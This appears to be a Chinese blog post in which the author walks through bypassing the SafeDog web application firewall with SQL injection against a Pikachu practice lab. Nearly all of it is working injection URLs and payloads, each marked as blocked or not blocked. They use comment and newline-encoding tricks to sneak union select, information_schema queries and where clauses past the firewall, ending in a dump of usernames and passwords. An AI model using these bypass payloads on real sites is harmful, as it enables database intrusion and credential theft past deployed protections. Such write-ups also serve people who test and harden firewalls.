菜狗初次尝试安全狗bypass大佬们轻点喷
0x01 安全狗版本
当前版本是最新版安全狗
主程序版本号为:v4.0.23137

0x02 Bypass过程
1. or 绕过
http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' or 1=1-- +&submit=%E6%9F%A5%E8%AF%A2 //拦截

经过测试
name=1' or -- + //不拦截
name=1' or 1-- + //拦截
name=1' or/*/**/1-- + //不拦截
name=1' or/*/**/1=1-- + //不拦截
通过/*/**/成功绕过or 1=1
http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' or/*/**/1-- +&submit=%E6%9F%A5%E8%AF%A2

2. order by 绕过
name=1' order -- + //不拦截
name=1' by -- + //不拦截
name=1' order b -- + //不拦截
name=1' order by --+ //拦截
通过上面可以判断出当order by组合在一起便会触发拦截规则,那么我们需要在oder和by之间来进行绕过
和上面绕过or一样可以通过/*/**/来对order by进行绕过
http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' order/*/**/by 2 -- +&submit=%E6%9F%A5%E8%AF%A2

http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' order/*/**/by 3 -- +&submit=%E6%9F%A5%E8%AF%A2

通过order by语句可以得知字段数量为2
3. union select绕过
name=1' union -- + //不拦截
name=1' select -- + //不拦截
name=1' union sel -- + //不拦截
name=1' union select -- + //拦截
通过上面可以判断出当union select组合在一起便会触发拦截规则,那么我们需要对union和select进行绕过
使用多种注释换行绕过无果可见安全狗对union select拦截要比 order by参数这些要严格得多
最后通过:name=1' union%23%0a%23%0a%23%0aselect成功绕过union select

通过刚刚order by判断出的字段配合union select查看回显位置
http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' union%23%0a%23%0a%23%0aselect 1,2 -- +&submit=%E6%9F%A5%E8%AF%A2

4.database()绕过
name=1' union%23%0a%23%0a%23%0aselect 1,database() -- + //拦截
name=1' union%23%0a%23%0a%23%0aselect 1,database -- + //不拦截
name=1' union%23%0a%23%0a%23%0aselect 1,database( -- + //不拦截
name=1' union%23%0a%23%0a%23%0aselect 1,database) -- + //不拦截
根据以上语句可以判断出当database和()成功组合时便会触发安全狗的拦截规则,因此只需要对()下文章即可
name=1' union%23%0a%23%0a%23%0aselect 1,database/*!(*/) -- + //拦截
name=1' union%23%0a%23%0a%23%0aselect 1,database/*!(*//*!)*/ -- + //拦截
name=1' union%23%0a%23%0a%23%0aselect 1,database/*!(*//*!%0a)*/ -- + //拦截
name=1' union%23%0a%23%0a%23%0aselect 1,database/*!(*//*!%23%0a)*/ -- + //不拦截
name=1' union%23%0a%23%0a%23%0aselect 1,database/*!(*/%23%0a/*!)*/ -- + //不拦截
因此这里bypass database()发现两种绕过方式
通过
http://192.168.22.38/pikachu/vul/sqli/sqli_str.php?name=1' union%23%0a%23%0a%23%0aselect 1,database/*!(*/%23%0a/*!)*/ -- +&submit=%E6%9F%A5%E8%AF%A2
得知数据库名称为pikachu

5.查表bypass
union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) -- +不拦截
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) from -- + //不拦截
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) from i -- + //拦截
这里再from后面加任意参数都会触发安全狗拦截规则,可以利用绕过order by的方式在中间加/*/**/的方式进行绕过
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) from/*/**/information //不拦截
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) from/*/**/information_schema //拦截
对安全狗拦截点进行测试
name=1' union%23%0a%23%0a%23%0a 1,group_concat(table_name) from/*/**/information_schema -- + //去掉select不拦截
name=1' %23%0a%23%0a%23%0aselect 1,group_concat(table_name) from/*/**/information_schema -- + //去掉union拦截
name=1' union%23%0a%23%0a%23%0aselect 1,information_schema -- + //去掉group_concat(table_name) from/*/**/安全狗还是拦截
name=1' select 1,information_schema -- + //去掉union group_concat(table_name) from/*/**/ 还是被安全狗拦截
根据上面尝试判断出安全狗匹配到了select 和 information_schema导致了拦截
经过大半个小时的绕过尝试终于尝试出了一种绕过方式,安全狗对select 和 information_schema的拦截确实是非常严格的,整个绕过最难的地方就是这里。
通过以下方式总算是绕过了这个点
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) from/*!/*REGEXP "[…%0a%23]"*/%0ainformation_schema*/ -- + //不拦截
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) from/*!/*REGEXP "[…%0a%23]"*/%0ainformation_schema.tables*/ //不拦截并得到回显

继续将语句写完整进行查表
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) from/*!/*REGEXP "[…%0a%23]"*/%0ainformation_schema.tables*/where -- + //拦截
此处对where进行绕过
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) from/*!/*REGEXP "[…%0a%23]"*/%0ainformation_schema.tables*//*/**/where -- + //不拦截
使用/*/**/轻松绕过where的拦截
终于绕过了所有的查表语句完成了查表
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(table_name) from/*!/*REGEXP "[…%0a%23]"*/%0ainformation_schema.tables*//*/**/where table_schema='pikachu' -- +

6.查字段
对users表的字段进行查询,更具查字段的bypass语句只需将table修改为column即可
name=1' union%23%0a%23%0a%23%0aselect 1,group_concat(column_name) from/*!/*REGEXP "[…%0a%23]"*/%0ainformation_schema.columns*//*/**/where table_name='users' -- +&submit=%E6%9F%A5%E8%AF%A2

7.查询指定字段内容
对username,password字段内容进行查询
name=1' union%23%0a%23%0a%23%0aselect 1,(select group_concat(username,char(32,58,32),password) from ) -- + //不拦截
name=1' union%23%0a%23%0a%23%0aselect 1,(select group_concat(username,char(32,58,32),password) from 1) -- + //拦截
通过上面判断可以知道from后面一跟参数就会触发waf规则,那么我们需要对from和后面参数中间进行绕过
在from和1中间加/*/**/轻松绕过
name=1' union%23%0a%23%0a%23%0aselect 1,(select group_concat(username,char(32,58,32),password) from/*/**/1) -- +

最终通过语句
name=1' union%23%0a%23%0a%23%0aselect 1,(select group_concat(username,char(32,58,32),password) from/*/**/pikachu.users) -- +
成功获取两个字段中的内容

最后大佬们要是能点点赞支持一下那就太好了 😀